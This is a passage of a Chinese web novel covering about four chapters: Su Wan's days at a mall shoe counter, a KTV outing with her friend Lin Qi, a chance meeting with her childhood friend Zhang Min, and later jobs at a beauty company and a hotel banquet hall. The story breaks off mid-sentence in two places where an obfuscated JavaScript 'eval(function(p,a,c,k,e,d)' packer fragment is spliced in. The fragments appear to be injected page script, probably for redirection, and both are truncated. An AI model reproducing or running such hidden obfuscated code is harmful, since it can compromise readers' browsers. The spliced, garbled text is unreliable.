走出商场后门,拐上主街大路。这条路苏晚每天走,但夏天和冬天晚上走的感觉不一样。夏天的晚上,空气里有一股热乎乎的潮气,贴在皮肤上,黏黏的。冬天的晚上风硬,刮在脸上像刀片子。现在是夏末,风里已经带了一点凉,吹在胳膊上,起一层细密的鸡皮疙瘩。 “你今天累不累?”林栖问,手插在口袋里,步子比苏晚大一些,走几步就要停下来等她。 “还行。站了一天,腿有点酸。”苏晚把帆布包换到另一只肩膀上,包带勒着肩膀,她揉了揉。 “你要不要买双舒服点的鞋?我知道有个地方卖那种软底的平底鞋,上班穿特别舒服。” “在哪儿?” “步行街后面那条巷子里,有一家店专门卖这种鞋。我那双就是在那里买的。”林栖低头看了一眼自己的脚,脚上是一双白色的帆布鞋,鞋带系得松垮垮的。 “好的。”苏晚说,“你什么时候带我去?” “明天?明天我没事。” “明天我上晚班,三点才上班。上午可以。” “那就明天上午。我去找你。” “好。” 两个人走了一段路,经过一个路口。路口有一盏特别亮的路灯,灯杆上挂着一个圆形的灯罩,光线白花花的,照在地上,把路面照得发白。灯下面有一个烤红薯的推车,铁皮炉子上面搁着几个红薯,用报纸垫着,热气从红薯的裂缝里冒出来,甜丝丝的。推车边上挂着一盏充电灯,黄黄的光照在红薯上,皮皱巴巴的,有的已经烤焦了,黑了一块。卖红薯的大爷裹着一件军大衣,坐在旁边的小板凳上,手里端着一个搪瓷杯,杯子上印着“劳动最光荣”,字迹已经磨得看不清了。 “你吃不吃?”林栖问。 “不吃了,太晚了。”苏晚看了一眼红薯,又看了一眼大爷,大爷正低头吹搪瓷杯里的热水,热气扑在他脸上,他眯着眼睛。 两个人继续走。走到一个小区门口,铁栅栏门半开着,门卫室里的灯亮着,电视机的声音从窗户里传出来,断断续续的。林栖停下来,脚后跟抵着路边的台阶。 “我到了。” “嗯。” “给,你的生日礼物。”苏晚从帆布包里掏出一个礼品袋,淡粉色的,袋口用金色的丝带扎着,打了个蝴蝶结。她把袋子递过去,手指勾着丝带。 “哇。”林栖接过来,两只手捧着,眼睛亮了一下,嘴角往上翘,翘得压不住,“你记得我的生日。” “嗯,”苏晚笑了笑,“不知道你喜欢什么,就随手在百货的柜台上听同事的,买最畅销的。” “谢谢。”林栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她站在那儿,手指无意识地摸了摸左手无名指的根部,那里什么也没有。她想起那只戒指表——银色的,表盘小小的,镶着一圈假钻,表带细得像一根铁丝。林栖帮她在淘宝上下的单,等了三天才到货,她拆开包装的时候很喜欢,戴在手上看了半天。后来不知道什么时候摘下来的,放在哪里,她一点印象也没有。 “栖栖,”她想起来了,那时候她坐在林栖家的沙发上,膝盖上搁着一本杂志,翻了两页又合上,“好栖栖,以后我有什么想买的东西,你帮我买吧。我付钱。” “你自己不能买吗?”林栖当时坐在电脑前面,头也没回,鼠标点来点去的。 “我不想开那个——淘宝账号。” “为什么?” 苏晚想了想,把杂志放到一边,认真地说:“我怕我开了之后老想买。管不住自己。” 林栖从电脑前面转过头来,看着她,看了两秒,忍不住笑了。 “你这人真是——”她摇了摇头,头发从肩膀上滑下来,“别人是怕麻烦,你是怕自己管不住自己。” “那你帮不帮我?” “帮帮帮。”林栖把包里的杂志收进去,拉链拉好,“你要买什么跟我说,我帮你下单。你把钱给我就行。” “好。”苏晚笑了,笑得眼睛弯弯的,“你真好。” “少来这套。”林栖白了她一眼,但嘴角翘着。 绿灯亮了。苏晚甩甩头,把那团思绪从脑子里甩出去。她抬脚过马路,步子比刚才快了一些,帆布包在身侧晃着,一下一下的。 又一个周末。林栖专等苏晚下班。 “晚晚,晚上陪我去唱歌吧?”林栖跟苏晚撒娇,声音软软的,尾音往上翘,手搭在苏晚胳膊上,晃了两下。 商场里已经没什么人了。广播在放结束前的最后几首歌,声音调低了,嗡嗡的,听不清唱什么。苏晚侧头看着林栖,眉毛挑了一下。 “什么情况?” 林栖坐在柜台中场休息区的沙发上,沙发是红色的皮面,坐久了会出汗。她把腿盘起来,两只手撑在膝盖上,身子往前倾。 “去嘛,去嘛!”她晃着身子,头发跟着晃。 苏晚看着她那个样子,嘴角弯了一下,想了想。 “好。” KTV在步行街尽头,一栋楼的四楼。电梯门一开,走廊里铺着深红色的地毯,踩上去软绵绵的,两边墙上贴着海报,灯光昏暗,只有墙上的壁灯亮着,黄黄的光,把人脸照得发暖。走廊尽头有服务员迎上来,穿着马甲,脖子上挂着耳机,问她们订了哪个包厢。林栖报了一个号码,服务员带她们走过去,推开一扇门。 包厢不大,苏晚跟在林栖身后进门,见到了包厢内其他三男二女。苏晚愣了一下,脚步慢了半拍,在沙发上坐下来,侧头看了看林栖。 林栖没看她,拿起茶几上那个黑色的麦克风,在手里拍了拍,试了试音,然后把白色的那个递给她。 “点歌,点歌。”林栖把话筒塞到苏晚手里,自己跑到点歌机前面,手指在屏幕上唰唰地点,翻了一页又一页,点了一排歌上去,排了七八首。 苏晚握着话筒,看着屏幕上那些歌名,有的认识,有的不认识。她转头看林栖,林栖正低着头在点歌机上翻页,手指飞快,屏幕上的歌单往上跳,一页一页的,看不清。 她看了几秒,摇了摇头,收回目光。会唱的也就那么两三首,林栖知道的。她坐在沙发上,手指在话筒上摩挲着,海绵套有点潮,捏上去软软的。 随后,有人递了酒给苏晚,再后来苏晚没再唱歌,纯喝了几瓶酒。 林栖唱了两首,回头看苏晚。苏晚靠在沙发上,手里捏着一个空瓶子,瓶口朝下,倒过来,没有一滴了。她脸上没什么表情,眼睛睁着,看着屏幕上的歌词,但目光是散的。 林栖放下话筒,走过来,弯腰凑到她耳边。 “你喝多了?” 苏晚转过头,眼睛对上她的眼睛,眨了一下。 “没有。”她说,声音平平的。 林栖盯着她看了两秒,然后直起身,冲沙发上那几个人笑了笑,说了句什么。音乐还在响,苏晚没听清。林栖拉起她的手,把她从沙发上拽起来。 “走吧,我送你回家。” 苏晚站起来的时候晃了一下,手撑在茶几上,碰倒了一个空瓶子,瓶子滚到地上,咕噜噜转了一圈,停在沙发脚边。 林栖跟那几个人说了几句话,声音被音乐盖住了,苏晚只看见她笑着挥了挥手,然后拉着她往外走。 出了包厢门,走廊里安静下来,地毯还是那么软,壁灯还是那么黄。苏晚的步子稳了一些,但比平时慢。林栖走在她旁边,手还拉着她的胳膊,没松开。 两个人下了电梯,走出KTV大门。门外的空气涌过来,比里面凉多了,苏晚打了个哆嗦,肩膀缩了一下。 拐到主街另一边,林栖站在路边招手叫出租车。苏晚靠在她旁边,头微微垂着,呼吸平稳。出租车停下来的时候,林栖拉开车门,苏晚弯腰钻进去,坐在后座靠窗的位置。林栖跟着坐进来,关上门。 车开起来。苏晚靠在椅背上,闭着眼睛。开了一段路,她睁开眼睛,看着窗外。街灯一盏一盏往后退,光从车窗外面照进来,在她脸上亮一下,暗一下。 “醒了?”林栖的声音从旁边传来。 苏晚没说话。过了一会儿,她转过头,看着林栖。 “今天我妈安排我相亲。”林栖的声音低下来,手指在膝盖上画圈,“其中那个是我相亲对象。” 苏晚看着她,眼睛眨了眨。 “你不是有男朋友?”她问。 “对啊。”林栖把脸别过去,看着窗外,“没和我妈提过。” “好吧。”苏晚转过头,继续看窗外。街景往后退,那些熟悉的店铺,那些关了门的橱窗,那些路灯下面空荡荡的人行道。她的手指在车门扶手上敲了两下。 到了林栖家楼下,出租车停下来。苏晚准备推门下车的时候,被林栖叫住。 “晚晚。” 苏晚的手停在门把手上,回过头。 林栖坐在车里,一只脚已经跨出了车门,但没动。她看着苏晚,嘴角抿了一下,又松开。 “你这个人吧,什么都好,就是太——太把自己收着了。” 苏晚看着她。 “什么意思?” “就是——你不主动。”林栖伸出手指,戳了戳苏晚的脸颊,指尖在她脸上点了一下,又缩回去,“你不主动找人,不主动说话,不主动做任何事。你就等着别人来找你。” 苏晚没说话,手指在门把手上攥了一下。 “我不是说你不好,”林栖赶紧补充,手在膝盖上拍了一下,“我就是觉得——你这样会错过很多东西的。” “错过什么?” “比如说,”林栖想了想,下巴微微收着,目光落在车座中间的扶手上,“如果你不主动联系别人,别人可能以为你不想理他们,慢慢的就不找你了。” 苏晚看着她,看了一会儿。 “可是你们不是一直在找我吗?” 林栖愣了一下,手指停在膝盖上,没动。然后她笑了,嘴角往上翘,眼睛弯起来,笑得肩膀松下来。 “也是,谁让我们脸皮厚呢。”她推开车门,一只脚踩在地上,回过头来,冲苏晚挥了挥手,“拜拜。” “拜拜。明天见。” 苏晚看着林栖走进楼道里,铁门关上了,楼道里的灯亮了一下,又灭了。她靠在椅背上,跟司机说了自己家的地址。车子拐出巷子,上了主街,路灯的光一段一段地从车窗外面划过去。 她靠在窗边,手指摸到帆布包侧袋里那个硬硬的小灵通,按了一下,屏幕亮了,显示着时间。十点四十七分。 她把小灵通攥在手里,没放回去。 58. 遇见 苏晚是在一个下午遇见张敏的。 那天商场里人不多。下午两三点,正是最清闲的时候,一楼的化妆品柜台飘着各种香水混在一起的味道,甜腻腻的,熏得人有点犯困。苏晚站在“金利来”鞋柜后面,把早上被顾客翻乱的鞋盒重新码齐。按尺码摞好。她摞到第三摞的时候,余光里有人停在柜台前面。 “清清?” 苏晚的手停在半空,鞋盒悬在架子上,没放下去。 她转过身。 柜台外面站着一个女的,短头发,穿着件灰色的圆领T恤。牛仔裤,裤脚卷了两道,露出一截脚踝,脚上是一双黑色的登山鞋,鞋带系得很紧。她站在那儿,肩膀微微往前倾,整个人像一棵被风吹过但没倒的树。 那张脸。眉眼还是那个眉眼,但棱角比小时候硬了,下巴收得紧,嘴唇薄,抿着,嘴角有一道浅浅的竖纹——那是经常抿嘴的人才会有的。但眼睛没变,还是那双眼睛,圆圆的,亮亮的,看人的时候不闪不避。 苏晚张了张嘴,鞋盒从手里滑下来,磕在架子上,歪了。 “张敏?” 那女的嘴角翘起来,从口袋里抽出一只手,在柜台上拍了一下,掌心落下去的时候发出清脆的一声响。“我就知道是你。远远看见就觉得像,走过来一看——没错,就是你。” 苏晚从柜台后面绕出来,站在她面前,上下打量她。张敏比她高出半个头,肩宽,站姿松垮垮的,一只脚往前伸了半步,重心落在后脚上,像站惯了的人。 “你怎么——”苏晚话说到一半,又咽回去了。 张敏看着她的表情,笑了一下。那笑不是从嘴角开始的,是从眼睛里开始的,眼底先亮了一下,然后嘴角才跟着翘起来。“当兵。你不知道?” 苏晚愣了一下。她想起来了。那是她上职校第一年的事,暑假时母亲有一天从外面回来,手里拎着菜,进门就说:“张敏去当兵了,听她爸爸说的。”那时候苏晚正看着电视,嗯了一声,没抬头。母亲又说:“你要是也去,也许还能让我省心点。”苏晚还是嗯了一声,没抬头。 后来母亲走了,这些事再也没有人提过。 “知道,”苏晚说,声音比刚才低了一些,手指在柜台边缘上蹭了一下,“听我妈说过。” 张敏看着她,目光在她脸上停了两秒,没追问。 两个人站在柜台前面,隔着几步的距离。商场里有人在广播里播通知,女播音员的声音从头顶的喇叭里传出来,嗡嗡的,听不清说什么。电梯上上下下,扶手带转动的声响闷闷的,从左边传到右边。 “你怎么在这儿上班?”张敏环顾了一下四周,目光从那排鞋柜扫到对面的化妆品柜台,又扫回来。 “随便找的。”苏晚说,“回来之后也没什么事,就先干着。” 张敏点点头,手从口袋里抽出来,撑在柜台上,身子往前倾了倾。“你见过邓颖吗?” 苏晚摇了摇头。“好久没联系了。” “我退伍后跟她一直QQ联系着。”张敏说,手指在台面上敲了一下,“她在国外。挺好的。” “哦。”苏晚愣了一下。 “出去好几年了。”张敏直起身,手又插回口袋里,“不知道还回不回来,能不能再见到。” 苏晚点点头,没说话。她想起邓颖,想起小时候在筒子楼底下的空地上打羽毛球,邓颖的球拍是木框的,线绷得紧,击球声脆生生的。她想起邓颖蹲在爆米花炉子前面,手里端着一个茶缸,等着师傅把那锅爆出来。那时候她们都还小,楼底下的空地还是水泥的,裂缝里长着草。后来筒子楼拆迁了,那些邻居一家一家搬走了,搬去哪儿了也不知道。外公走了,母亲也走了。她其实和大多数邻居玩伴都失去了联系,不是故意的,就是散了。像一把沙子攥在手里,攥得越紧,漏得越快,等你想起来要看的时候,手里已经空了。 张敏没再说话。两个人站了一会儿,广播里又播了一段通知,这回是找人的,喇叭里喊着一个名字,喊了三遍,没人应,又切回音乐了。张敏侧头听了听,又转回来。 “行,我先走了。”她往后退了一步,手从口袋里抽出来,冲苏晚摆了摆,“以后有机会再聚。” “好。”苏晚说。 张敏转身走了。步子大,走得快,拐过化妆品柜台的转角,被那排香水瓶子挡住了。苏晚站在原地,看着她消失的方向,站了一会儿,然后绕回柜台后面,把那摞歪了的鞋盒扶正。 她想起小时候的张敏。苏晚记不清了具体的大家小时候做过什么游戏,闯过什么祸。但她记得张敏小时候的样子——长头发,扎马尾,有时候扎两个辫子,辫梢系着红色的蝴蝶结。夏天穿裙子,白色的,带花边的那种,脚上是一双红色的塑料凉鞋,跑起来嗒嗒响。笑起来的时候露出一颗小虎牙,她记得。那时候谁都说张敏长得好看,是个漂亮的小姑娘。 现在站在她面前的那个人,短头发,黑色登山鞋,站姿松垮垮的,像随时要出发的样子。 苏晚低头看了一眼自己脚上的平底鞋,又抬头看了一眼张敏消失的方向。她忽然想起母亲说的那句话——“你要是也去,也许还能让我省心点。” 她站在柜台后面,手里攥着一块抹布,攥了一会儿,又放下了。 九月底,天开始凉了。傍晚的风从街口灌进来,带着一股桂花的甜香,不知道从哪条巷子里飘出来的。苏晚下了班,从员工通道走出去的时候,林栖已经站在商场后门口等着了。她靠着墙,一只脚踩在台阶上,手里拎着一个白色的塑料袋,袋子上印着肯德基那个老头子的头像,笑眯眯的。 “你怎么才出来?”林栖从墙上直起身,把塑料袋举起来晃了晃,“我都等了一会儿了。” 苏晚走过去,看了一眼袋子。“买的什么?” “新出的。”林栖把袋子口撑开,里面是两个汉堡盒子和两杯饮料,“走走走,边走边吃。” 两个人沿着人行道往南走。路灯已经亮了,橘黄色的光从头顶洒下来,把人的影子拉成细长的一条。街上人不多,偶尔有自行车经过,车铃叮叮响一声,远了。林栖从袋子里掏出一个汉堡,撕开包装纸,咬了一口,腮帮子鼓起来,嚼了两下,又咬了一口。 “这个好吃,”她含糊不清地说,把包装纸折了一下,捏在手里,“你尝尝。” 苏晚也掏出一个,撕开包装,咬了一口。面包软软的,中间的鸡块炸得脆,酱汁有点甜,还有点酸。 “怎么样?”林栖歪着头看她。 “还行。”苏晚又咬了一口,点了点头。 两个人走到一个路口,林栖停下来,把饮料杯子插进吸管,递了一杯给苏晚。苏晚接过来,吸了一口,冰的,甜味在舌尖上化开,凉到喉咙里。 “对了,”林栖把背上的包转到前面来,拉开拉链,在里面翻了一会儿,掏出一个礼品盒。盒子不大,巴掌大小,深蓝色的,上面系着一条银色的丝带,打了个蝴蝶结。她把盒子递过来,“你的生日礼物。礼尚往来。” 苏晚愣了一下,手里还攥着汉堡,手指上沾着酱汁。她低头看了一眼那个盒子,又抬头看林栖。 “你记得?” “废话。”林栖把盒子塞到她手里,转过身继续往前走,步子比刚才快了一些,“你都送我了我能不送你?” 苏晚把汉堡换到左手,右手捧着那个盒子,跟上去。她一边走一边用拇指拨开丝带,蝴蝶结松了,丝带滑下来,绕在手指上。她把盒盖掀开。 里面躺着一个荷包。十字绣的,正面绣着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林栖看了她一眼,笑了一下,挥了挥手,转身走了。苏晚站在台阶下面,看着她的背影消失在路灯的光晕里。拐过街角的时候,林栖的影子被拉得很长,从墙角一直拖到马路中间,然后拐了个弯,不见了。 苏晚转过身,上了台阶,推开楼道门。声控灯亮了,黄黄的,照着楼梯扶手和墙上那些用粉笔写的字。她一步一步往上走,帆布包在身侧晃着,一下一下的。 进了门,小姨在厨房里炒菜,锅铲碰着铁锅,叮叮当当的。爸爸不在家,电视机开着,正在播放着新闻联播,男主播的声音字正腔圆,念着什么,她没仔细听。 她把帆布包挂在门后的挂钩上,换了拖鞋,走到客厅,坐在沙发上。小灵通在包里响了一声,是短信。她掏出来看,是林栖发的,只有几个字——“到家了。” 苏晚摁着按键,回了一条——“好。” 她把小灵通放在茶几上,屏幕暗下去,变成一小块黑色的玻璃。她从帆布包里摸出那个深蓝色的盒子,打开,把荷包拿出来。托在手心里,翻来覆去地看。正面那朵花,粉色的花瓣,一层一层,针脚密密的。背面那几道针脚,整整齐齐的,从这头排到那头。 她把荷包放在茶几上,跟小灵通并排摆着。然后站起来,走进厨房。 “小姨,要不要帮忙?” “不用不用,”小姨头也没回,锅铲在锅里翻了两下,“马上就好了。你去洗手。” 苏晚站在厨房门口,看小姨炒菜。油烟机嗡嗡地转着,锅里的菜在铲子底下翻来翻去,青的红的黄的,搅在一起。她站了一会儿,转身去洗手了。 59. 美容院 08年5月,苏晚已经辞职在家几天了。 林栖每天打电话。有时候是上午,有时候是下午,铃声一响,苏晚就知道是她。 “工作找得怎么样了?”林栖在那边问,声音从听筒里挤出来,带着一点急,像催人起床的闹钟,按掉还会再响。 苏晚拿着手机站在阳台上。阳台不大,晾着昨天洗的两件T恤和一条牛仔裤,水滴答滴答地落在下面的盆里。她往栏杆上靠了靠,看着对面那栋楼——去年这时候还没盖完,现在外墙已经贴好了瓷砖,阳台的栏杆装好了,有几户人家在窗户上挂了红灯笼,大概是刚搬进去的。 “在找。”她说。 “找了几天了?” “没几天。” “投简历了吗?” “投了。” “投了几家?” 苏晚把手机换到另一只耳朵,手指在栏杆上蹭了一下,蹭掉一小块漆。“几家吧。” 林栖在那边沉默了两秒,像是叹了口气,又像是忍住了没叹。“你别光说‘在找’,你得真找。简历多投几份,别挑,先有个班上着再说。” “嗯。” “你每次都说嗯。” 苏晚没接话。对面那栋楼的七楼阳台上,有个老太太在晾被子,白色的被单展开来,把整个人都挡住了,只露出两只手,在被单上拍了两下,啪啪的,隔着这么远还能听见。 挂了电话,苏晚把手机从耳边拿下来,翻过来看了看。诺基亚手机。纯黑色的外壳,屏幕比小灵通大一圈,按键排列整齐,最上面那排是数字键,下面是接听和挂断。她在手心里掂了掂,比小灵通沉一些。上个月小灵通突然坏了——屏幕先是闪了几下,然后暗了,再也亮不起来。她拿去修,人家说修不如买新的。她就买了这部。 凑巧。她在心里把这个词转了一圈。小灵通坏得真凑巧。 她把手机放在茶几上,屏幕朝上,亮了一下,又暗了。 投简历是在网吧投的。家里没有电脑,她去街转角那家网吧。直到招聘网站跳出一个对话框——“您的简历已成功发送,祝您求职顺利。”她就把电脑退网关机离开。 没几天,电话来了。 苏晚正在厨房洗碗,手机搁在灶台上,屏幕亮了,震动起来,在台面上挪了一小截。她擦干手,拿起来接。 “喂,是苏晚吗?”那头是个女声,声音挺年轻的,说话的时候带着点笑意,像是刚跟旁边的人聊完什么,还没收住。 “是。” “我是‘雅美美容公司’的,在招聘网站上看到你的简历。你方便过来面试吗?” 苏晚愣了一下,把手里的抹布搭在水龙头上。“方便。什么时候?” “明天上午十点,你看行吗?” “行。” 那边报了地址,苏晚拿笔记在一张纸条上,贴在冰箱门上。挂了电话,她站在厨房里,把那几个字又看了一遍——“雅美美容公司,XX路XX号”。 晚上林栖打电话来的时候,苏晚正在翻衣柜。 “我明天面试。”她说。 “真的?”林栖的声音一下子拔高了,“哪家公司?做什么的?” “美容公司。新成立的。” “做什么的?美容院?” “不知道。”苏晚边挑衣服边说,“他们问我会不会做表格。” “你会吗?” 苏晚沉默了一下,“我说不熟。” “那你明天面试之后来我家。我教你。你早点过来。” “好。” 面试的地方在小区的一个房子里,一楼。门虚掩着。 苏晚推门进去。两室一厅的房子,一个上了年纪的阿姨在房间大厅里正在摆放着瓶瓶罐罐。 “面试的?”阿姨抬起头,上下看了她一眼。 “对。” “等我一下。”阿姨转身去洗手间。 “来,这边坐。” 阿姨带苏晚走到隔壁房间里。桌上铺着白色的桌布,放着一盆绿萝,叶子有些发黄。她坐下来,把文件夹打开,里面夹着一张表格。 “你先填一下这个。” 苏晚接过表格,趴在桌上填 阿姨看了看表格,抬起头。“你之前做销售的?怎么想到来我们这儿?” “想换个环境。” “Excel会做吗?” 苏晚抬起头,看着她的眼睛。“不熟。” “也行。”阿姨把表格夹回文件夹里,站起来,“前期需要做的表格也简单,后期还会再招人。” “那你下周一来上班吧。” 苏晚愣了一下。“好。” 从居民楼出来,阳光正好照在脸上,她眯了一下眼睛。站在街边,她从包里掏出手机,给林栖发了条短信——“过了。” 几秒钟之后手机就响了。林栖的声音从听筒里炸出来,又尖又亮。“真的?” “真的。” “我就知道你行!”林栖在那边笑起来,“晚上请你吃饭。庆祝一下。” “好。” 苏晚入职之后,日子就忙起来了。 公司新成立,人不多,三四个人挤在一起。苏晚坐在另一个房间里。她的工作内容很杂——打印文件,复印资料,给来访的客户倒水,把快递单填好贴上去。后来招的人事那边忙不过来,也喊她去帮忙筛简历、约面试。 Excel她很快就学会了。林栖和后来的人事都教的那些功能够用,后来又自己摸索出一些常用的,领导看了一眼说“行”,她就没再管了。 三个月之后,财务那边缺人手,问她愿不愿意过去帮忙。她说好。财务的工作比打杂细多了,每一笔钱都要对得上,发票贴得整整齐齐,报销单上的数字不能涂改。她做得慢,但不出错。 又过了半年,库房那边要盘货,让她兼着管。她每天上班先去库房点一遍货,把缺的记下来,报给采购 她在这家公司做了三年。 三年里,办公场所也换了两三回了,越来越好的地段。她也学会了做工资表,学会了报税,学会了跟供应商对账。她话不多,但领导交代的事情都能做完,偶尔加个班也不抱怨。老板有时候开会的时候会拿她举例子——“你们看看苏晚,人家多踏实。” 她坐在角落里,低头看笔记本,没说话。 2011年春天,公司搬家了。 总部要搬到厦门去,那边的写字楼已经租好了,装修也快收尾了。老板在全体员工大会上说,愿意跟过去的人可以跟过去。 苏晚坐在会议室最后一排,看着前面的人交头接耳。有人想去,觉得厦门是个机会 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“走了啊。你照顾好自己,照顾好你爸。” 苏晚站在楼下,看着出租车拐出巷子,尾灯闪了一下,不见了。 她上楼,推开家门。 客厅里空了很多。小姨一家住的那间房,门开着,空空的场地。 苏晚站在厨房门口,看了一会儿,把门关上了。 她走回客厅,坐到沙发上。沙发是她爸的,老式的,木头扶手,海绵坐垫,铺着一块碎花的布罩。她坐在上面,手搭在扶手上,手指摸到木头上的划痕,一道一道的,不知道什么时候留下的。 窗外有人说话,楼下的小孩在跑,喊了一声什么,听不清。远处有车经过,发动机的声音由远及近,又远了。 她从口袋里掏出手机,翻到电话簿,林栖的名字在第一个。她看了一会儿,把屏幕按灭了。 家里太安静了。以前小姨在厨房炒菜的时候,锅铲碰着铁锅,叮叮当当的;电视打开,声音满客厅有回声很好,现在她坐在客厅翻书,书页沙沙响。很静。 她把手机放在茶几上,站起来,走到阳台上。对面那栋楼又高了几层,外墙的瓷砖贴了一半,工人在脚手架上走来走去,安全帽是红色的,在太阳底下晃眼。 她扶着栏杆,站了一会儿。风吹过来,把阳台上晾着的那件T恤吹起来,袖子鼓着,像一个人张开胳膊。她伸手把衣服拉平,夹子夹好,又站回去。 楼底下有个老太太拎着菜篮子走过去,篮子里装着几根葱和一块豆腐。走到楼道口的时候停下来,回头喊了一声,一个小孩从花坛后面跑出来,手里举着一根冰棍,奶油化了一手,滴在地上。 苏晚看着那个小孩跑进楼道,老太太跟在后面,骂了一句什么,声音被风刮散了。 她转过身,走回屋里。 那天晚上她睡得早。躺在床上,睁着眼睛看天花板。天花板上那道裂纹还在,从灯座延伸到墙角,白天看不见,晚上路灯照进来的时候才显出来。她盯着那道裂纹,看它慢慢变粗,变长,又缩回去。 窗外偶尔有车经过,车灯扫过窗帘,亮一下,暗一下。 她翻了个身,面朝墙,闭上眼睛。 60. 花谢了 继五一假期支援餐饮部加班之后,苏晚的周末就变得不太像周末了。酒店餐饮部逢周末就忙,尤其是婚宴扎堆的季节,一场接一场,像流水线上推过来的产品,赶着日子,赶着吉时,赶着那几道热菜上桌的温度。 “大家注意,今天这场婚宴,要早点下楼餐前布置。”周卉下午一上班就在九楼行政区域大厅扬声说了一句,声音不算大,但整个区域都能听见。她手里拿着一个文件夹,站在走廊中间,等人都看过来了,才转身回了办公室。 身边的物业小朱低声和苏晚说:“上午去二楼送文件时就看到人来人往布置婚宴。” 苏晚没接话,把手里的报表合上,放进抽屉里。 下午四点半,苏晚在二楼签到后,从员工通道往宴会厅走。走廊里已经能闻到后厨飘出来的油烟味,混着消毒水的气味,闷闷的。推开门进去,后厨已经忙开了,油烟机轰轰地转着,有人推着推车从走廊那头过来,轮子碾在地砖上,咕噜咕噜响。厨房中间的桌面上已经摆好了几排冷盘,保鲜膜封着,水汽凝在膜上,一颗一颗的。 宴会厅的门推开,苏晚愣了一下。宴会厅里灯火通明,吊灯全开着,水晶珠子一串一串垂下来,折射出细碎的光,洒在铺了白桌布的圆桌上。正中间那条过道两侧,竖着两排花柱,粉色的玫瑰扎成球状,插在白色的铁艺架子上,每一柱的顶端都垂着纱幔,从天花板的方向倾泻下来,被空调的风吹得微微晃。过道的尽头搭了一个拱门,也是白色的,缠满了花和绿叶,拱门正中央挂着一个金色的“囍”字,旁边缀着珍珠串成的流苏,垂下来,在灯光下转着圈。地毯是新的,大红色,从门口一直铺到舞台,上面撒着玫瑰花瓣,有些已经被踩皱了,有些还卷着边,翘起来。 苏晚站在门口,端着那箱刚从库房领出来的红酒杯,肩膀被箱子的边沿硌着,有点酸。她没动。 “漂亮吧?”物业小朱从她身边经过,手里抱着一摞餐巾,叠成扇形,一只一只往桌上摆。她顺着苏晚的目光看了一眼那排花柱,嘴角翘起来,“这还只是中等的。上周那场才叫豪华,整个厅铺满了鲜花,光那拱门就搭了三个小时。” 苏晚把箱子放到旁边的备餐台上,撕开胶带,取出杯子,一只一只倒扣在桌上,杯底朝上,排成一排。她一边摆一边抬头看那些花柱。粉色的玫瑰,花瓣上还沾着水珠,大概是刚从冷库里拿出来的。纱幔从天花板上垂下来,一层一层,叠在一起,被灯光照得透亮,像拢着一层雾。 “想不想结婚?”小朱把最后一叠餐巾摆好,转过身靠在桌边,胳膊肘撑在桌面上,歪着头看她。 苏晚摇摇头。 “不想。” 小朱挑了挑眉毛,手指在桌沿上叩了两下。“为什么呀?” 苏晚没开口。她把那只杯子转了个方向,杯口朝上,和旁边的杯子对齐,杯身上的水渍用干布擦掉。小朱看了她两秒,见她不接话,自己把话题岔开了,说起上周那场婚宴上新娘的婚纱拖尾有多长,说伴娘团在台上哭成一团,说新郎敬酒的时候被灌得脸红到脖子。苏晚听着,偶尔嗯一声,手里的活没停。 那一整年,苏晚加了不知道多少个周末的班。五一、十一、元旦,还有那些不年不节但日子好听的周末——六月初六,八月初八,九月二十六。婚宴一场接一场,布置一场比一场讲究。她从最开始的“眼睛一亮一亮的”,慢慢变成把杯子摆正、把椅子归位、把撤下来的花柱推到走廊尽头,动作越来越快,目光越来越平。 她见过用真丝帷幔从天花板垂到地面的,整面墙都是,灯光打上去,像站在一个巨大的礼物盒子里面。她见过在过道两侧点满蜡烛的,玻璃烛杯排成两排,火光一跳一跳的,把新娘的婚纱映成暖黄色。她见过舞台上架起巨大的LED屏幕,循环播放着新人的婚纱照——海边的,树林里的,欧式城堡背景的,每一张都修得看不见毛孔。她还见过那场据说花了很多钱的“世纪婚礼”,整个宴会厅被改造成了一个室内花园。真正的树,不是假花假草,是从花市运过来的,一人高的桂花树,种在大缸里,沿着过道摆了两排,枝叶间挂着细小的灯串,一亮一亮地闪着。拱门是用新鲜的百合和满天星扎的,香味浓得化不开,从门口就能闻到。舞台的背景是一面花墙,几千朵玫瑰拼成两个人的姓氏首字母,旁边镶着金色的边框。宾客的桌上摆着定制的菜单,烫金的字,每人一份,用丝带系着,旁边还放着一小盒伴手礼,丝绒盒子,打开里面是一枚银色的书签。 苏晚站在备餐台后面,手里端着一托盘刚撤下来的酒杯,杯底残留的红酒在白色的桌布上洇出一小块一小块的印子。她看着那面花墙,看着台上那对新人交换戒指,新娘的头发盘得很高,别着一圈碎钻,灯光一晃,闪成一片。司仪的声音从音响里传出来,低沉,有磁性,念着那些她听过无数遍的台词——“无论贫穷还是富有,无论健康还是疾病……”苏晚把托盘换了个方向,手指在杯沿上按了一下,转过身,往厨房走。 回到边缘的宴会工作台前,把手中的托盘放下,站在一边等待下一盘菜品 小朱从边上上完菜回来,把托盘里的零散垃圾,倒进角落大垃圾桶里,拍了拍手。“你看那新娘的戒指,鸽子蛋那么大,我站在主桌旁边都能看见上面的字。” 苏晚关掉水龙头,甩了甩手上的水,从墙上扯了一截纸巾擦手。 “好看。” “好看有什么用。”小朱靠在工作台上,“我在这酒店干的这几年了,什么豪华婚礼没见过。去年那场,光鲜花就花了很多,结果呢?新郎他爸在台上讲话,说‘希望你们早点给我们家生个儿子’。全场鼓掌。新娘站在旁边,笑得可好看了。” 苏晚把纸巾揉成一团,扔进垃圾桶里。小朱看了她一眼,嘴巴张了一下,还想说什么,边上有人喊“服务员”,她应了一声,赶忙走过去了。 苏晚站在角落里,空调的冷风吹在后背上,把工装吹得贴在皮肤上,凉飕飕的。她站了一会儿,走向她服务的那几桌巡视下桌面,继续干活。 周末,苏晚和林栖约了吃饭。两个人在步行街后面那条巷子里找了家小馆子,炒了两个菜,一个汤,米饭随便添。林栖夹了一块糖醋排骨,嚼了两下,用筷子尖戳着骨头,抬起头看她。 “我妈说,她老乡的儿子,长得可帅了,年龄和你同岁,条件挺好的。你要不要去看看?” 